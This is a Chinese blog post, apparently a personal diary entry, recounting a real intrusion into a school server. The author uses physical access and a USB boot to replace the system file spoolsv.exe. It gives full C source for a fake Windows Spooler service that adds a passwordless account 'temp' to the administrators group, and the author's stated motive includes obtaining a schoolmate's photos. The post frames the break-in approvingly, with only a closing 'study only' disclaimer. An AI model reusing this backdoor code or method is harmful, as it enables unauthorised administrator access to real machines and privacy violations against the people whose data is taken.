您的位置:首页 > 其它

【日常】一次真实的入侵过程

2015-06-28 16:21 309 查看
啊 我是个正直的孩子!

闲来无事吧 昨天试着登录了预留的学校ftp服务器远程管理

mstsc /v:172.254.254.253

然后娴熟地输入帐号密码:

咦?



下意识说被老师发现了

那老师不应该来找我吗

还有一种可能就是重装了

果然:



可是怎么办呢我还要学妹照片啊啊啊啊啊

想起来ftp有保留(可是重装了阿



果然没法........qaq

------------------------------------------------------

想了一天一夜

终于想到一个方法

Plan B:

我有学校一间机房的钥匙

记得机房的网关服务器有172.254.254.253的ftp网络管理员来着(Serv-U)

可是没有密码阿

又不能直接破解administrator的密码

这样老师肯定会想我要干嘛

怎么办

想了想 就绕过验证

学校的服务器是没有杀毒软件的

所以直接 用某服务来执行用户的添加和提权即可Orz

思前想后

决定用spooler服务

然后就是写服务了 伪造系统服务

服务很简单 能启动能执行就好

所以

#include <windows.h>

LPSTR Sname="Spooler";

SERVICE_STATUS_HANDLE ssh;
SERVICE_STATUS ss;

void CALLBACK Service_Main(DWORD, LPCSTR *);
void CALLBACK Service_Control(DWORD);

int main(int argc,LPCSTR * argv)
{
SERVICE_TABLE_ENTRY STE[]={Sname,(LPSERVICE_MAIN_FUNCTION)Service_Main,NULL,NULL};
StartServiceCtrlDispatcher(STE);
return 0;
}

void CALLBACK Service_Main(DWORD dwArgc, LPCSTR * lpszArgv){
if (!(ssh=RegisterServiceCtrlHandler(Sname,Service_Control))) exit(-1);
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS;
ss.dwCurrentState=SERVICE_START_PENDING;
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
ss.dwServiceSpecificExitCode=0;
ss.dwWin32ExitCode=0;
ss.dwCheckPoint=0;
ss.dwWaitHint=200;
SetServiceStatus(ssh,&ss);
ss.dwCurrentState=SERVICE_RUNNING;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
system("net user temp \"\" /add");
system("net localgroup administrators temp /add");
ss.dwCurrentState=SERVICE_STOPPED;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
return ;
}

void CALLBACK Service_Control(DWORD dwControl)
{
switch (dwControl)
{
case SERVICE_CONTROL_STOP:
default:break;
}
return ;
}


生成的文件名就spoolsv.exe

然后拷贝到某能启动的U盘里

用U盘启动计算机

然后把spoolsv.exe拷贝到%windir%\system32中

接着重启

然后  就大功告成啦



后话就不表了 就酱!

【声明】本文仅用于交流学习,切勿用于非法用途。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  服务器 入侵